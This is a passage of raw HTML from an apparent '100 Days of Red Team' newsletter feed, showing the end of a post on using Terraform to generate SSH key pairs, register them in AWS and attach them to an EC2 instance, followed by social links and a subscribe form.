10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Destroying AWS infrastructure via Terraform</figcaption></figure></div><pre><code><strong>TL;DR
</strong>In this post we covered how to:
- Generate SSH key pair manually and register it in AWS via Terraform.
- Automatically generate SSH key pair and register it in AWS via Terraform.
- Attach the SSH key-pair to EC2 instance.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p></p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item></channel></rss>